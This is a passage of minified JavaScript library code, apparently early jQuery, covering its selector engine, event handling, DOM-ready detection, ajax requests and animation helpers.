T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return U<T[3]-0},gt:function(V,U,T){return U>T[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W<T;W++){if(Y[W]===Z){return false}}return true}}}},CHILD:function(T,W){var Z=W[1],U=T;switch(Z){case"only":case"first":while(U=U.previousSibling){if(U.nodeType===1){return false}}if(Z=="first"){return true}U=T;case"last":while(U=U.nextSibling){if(U.nodeType===1){return false}}return true;case"nth":var V=W[2],ac=W[3];if(V==1&&ac==0){return true}var Y=W[0],ab=T.parentNode;if(ab&&(ab.sizcache!==Y||!T.nodeIndex)){var X=0;for(U=ab.firstChild;U;U=U.nextSibling){if(U.nodeType===1){U.nodeIndex=++X}}ab.sizcache=Y}var aa=T.nodeIndex-ac;if(V==0){return aa==0}else{return(aa%V==0&&aa/V>=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V<T;V++){U.push(X[V])}}else{for(var V=0;X[V];V++){U.push(X[V])}}}return U}}var G;if(document.documentElement.compareDocumentPosition){G=function(U,T){var V=U.compareDocumentPosition(T)&4?-1:U===T?0:1;if(V===0){hasDuplicate=true}return V}}else{if("sourceIndex" in document.documentElement){G=function(U,T){var V=U.sourceIndex-T.sourceIndex;if(V===0){hasDuplicate=true}return V}}else{if(document.createRange){G=function(W,U){var V=W.ownerDocument.createRange(),T=U.ownerDocument.createRange();V.selectNode(W);V.collapse(true);T.selectNode(U);T.collapse(true);var X=V.compareBoundaryPoints(Range.START_TO_END,T);if(X===0){hasDuplicate=true}return X}}}}(function(){var U=document.createElement("form"),V="script"+(new Date).getTime();U.innerHTML="<input name='"+V+"'/>";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="<a href='#'></a>";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="<p class='TEST'></p>";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="<div class='test e'></div><div class='test'></div>";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1&&!ac){T.sizcache=Y;T.sizset=W}if(T.nodeName===Z){X=T;break}T=T[U]}ad[W]=X}}}function S(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W<V;W++){var T=ad[W];if(T){if(ab&&T.nodeType===1){T.sizcache=Y;T.sizset=W}T=T[U];var X=false;while(T){if(T.sizcache===Y){X=ad[T.sizset];break}if(T.nodeType===1){if(!ac){T.sizcache=Y;T.sizset=W}if(typeof Z!=="string"){if(T===Z){X=true;break}}else{if(F.filter(Z,[T]).length>0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z<U;Z++){F(T,V[Z],W)}return F.filter(X,W)};o.find=F;o.filter=F.filter;o.expr=F.selectors;o.expr[":"]=o.expr.filters;F.selectors.filters.hidden=function(T){return T.offsetWidth===0||T.offsetHeight===0};F.selectors.filters.visible=function(T){return T.offsetWidth>0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F<E.length){o.event.proxy(G,E[F++])}return this.click(o.event.proxy(G,function(H){this.lastToggle=(this.lastToggle||0)%F;H.preventDefault();return E[this.lastToggle++].apply(this,arguments)||false}))},hover:function(E,F){return this.mouseenter(E).mouseleave(F)},ready:function(E){B();if(o.isReady){E.call(document,o)}else{o.readyList.push(E)}return this},live:function(G,F){var E=o.event.proxy(F);E.guid+=this.selector+G;o(document).bind(i(G,this.selector),this.selector,E);return this},die:function(F,E){o(document).unbind(i(F,this.selector),E?{guid:E.guid+this.selector+F}:null);return this}});function c(H){var E=RegExp("(^|\\.)"+H.type+"(\\.|$)"),G=true,F=[];o.each(o.data(this,"events").live||[],function(I,J){if(E.test(J.type)){var K=o(H.target).closest(J.data)[0];if(K){F.push({elem:K,fn:J})}}});F.sort(function(J,I){return o.data(J.elem,"closest")-o.data(I.elem,"closest")});o.each(F,function(){if(this.fn.call(this.elem,H,this.fn.data)===false){return(G=false)}});return G}function i(F,E){return["live",F,E.replace(/\./g,"`").replace(/ /g,"|")].join(".")}o.extend({isReady:false,readyList:[],ready:function(){if(!o.isReady){o.isReady=true;if(o.readyList){o.each(o.readyList,function(){this.call(document,o)});o.readyList=null}o(document).triggerHandler("ready")}}});var x=false;function B(){if(x){return}x=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);o.ready()},false)}else{if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);o.ready()}});if(document.documentElement.doScroll&&l==l.top){(function(){if(o.isReady){return}try{document.documentElement.doScroll("left")}catch(E){setTimeout(arguments.callee,0);return}o.ready()})()}}}o.event.add(l,"load",o.ready)}o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","),function(F,E){o.fn[E]=function(G){return G?this.bind(E,G):this.trigger(E)}});o(l).bind("unload",function(){for(var E in o.cache){if(E!=1&&o.cache[E].handle){o.event.remove(o.cache[E].handle.elem)}}});(function(){o.support={};var F=document.documentElement,G=document.createElement("script"),K=document.createElement("div"),J="script"+(new Date).getTime();K.style.display="none";K.innerHTML='   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var H=K.getElementsByTagName("*"),E=K.getElementsByTagName("a")[0];if(!H||!H.length||!E){return}o.support={leadingWhitespace:K.firstChild.nodeType==3,tbody:!K.getElementsByTagName("tbody").length,objectAll:!!K.getElementsByTagName("object")[0].getElementsByTagName("*").length,htmlSerialize:!!K.getElementsByTagName("link").length,style:/red/.test(E.getAttribute("style")),hrefNormalized:E.getAttribute("href")==="/a",opacity:E.style.opacity==="0.5",cssFloat:!!E.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};G.type="text/javascript";try{G.appendChild(document.createTextNode("window."+J+"=1;"))}catch(I){}F.insertBefore(G,F.firstChild);if(l[J]){o.support.scriptEval=true;delete l[J]}F.removeChild(G);if(K.attachEvent&&K.fireEvent){K.attachEvent("onclick",function(){o.support.noCloneEvent=false;K.detachEvent("onclick",arguments.callee)});K.cloneNode(true).fireEvent("onclick")}o(function(){var L=document.createElement("div");L.style.width=L.style.paddingLeft="1px";document.body.appendChild(L);o.boxModel=o.support.boxModel=L.offsetWidth===2;document.body.removeChild(L).style.display="none"})})();var w=o.support.cssFloat?"cssFloat":"styleFloat";o.props={"for":"htmlFor","class":"className","float":w,cssFloat:w,styleFloat:w,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",tabindex:"tabIndex"};o.fn.extend({_load:o.fn.load,load:function(G,J,K){if(typeof G!=="string"){return this._load(G)}var I=G.indexOf(" ");if(I>=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H<F;H++){var E=o.data(this[H],"olddisplay");this[H].style.display=E||"";if(o.css(this[H],"display")==="none"){var G=this[H].tagName,K;if(m[G]){K=m[G]}else{var I=o("<"+G+" />").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H<F;H++){this[H].style.display=o.data(this[H],"olddisplay")||""}return this}},hide:function(H,I){if(H){return this.animate(t("hide",3),H,I)}else{for(var G=0,F=this.length;G<F;G++){var E=o.data(this[G],"olddisplay");if(!E&&E!=="none"){o.data(this[G],"olddisplay",o.css(this[G],"display"))}}for(var G=0,F=this.length;G<F;G++){this[G].style.display="none"}return this}},_toggle:o.fn.toggle,toggle:function(G,F){var E=typeof G==="boolean";return o.isFunction(G)&&o.isFunction(F)?this._toggle.apply(this,arguments):G==null||E?this.each(function(){var H=E?G:o(this).is(":hidden");o(this)[H?"show":"hide"]()}):this.animate(t("toggle",3),G,F)},fadeTo:function(E,G,F){return this.animate({opacity:G},E,F)},animate:function(I,F,H,G){var E=o.speed(F,H,G);return this[E.queue===false?"each":"queue"](function(){var K=o.extend({},E),M,L=this.nodeType==1&&o(this).is(":hidden"),J=this;for(M in I){if(I[M]=="hide"&&L||I[M]=="show"&&!L){return K.complete.call(this)}if((M=="height"||M=="width")&&this.style){K.display=o.css(this,"display");K.overflow=this.style.overflow}}if(K.overflow!=null){this.style.overflow="hidden"}K.curAnim=o.extend({},I);o.each(I,function(O,S){var R=new o.fx(J,K,O);if(/toggle|show|hide/.test(S)){R[S=="toggle"?L?"show":"hide":S](I)}else{var Q=S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),T=R.cur(true)||0;if(Q){var N=parseFloat(Q[2]),P=Q[3]||"px";if(P!="px"){J.style[O]=(N||1)+P;T=((N||1)/R.cur(true))*T;J.style[O]=T+P}if(Q[1]){N=((Q[1]=="-="?-1:1)*N)+T}R.custom(T,N,P)}else{R.custom(T,S,"")}}});return true})},stop:function(F,E){var G=o.timers;if(F){this.queue([])}this.each(function(){for(var H=G.length-1;H>=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return 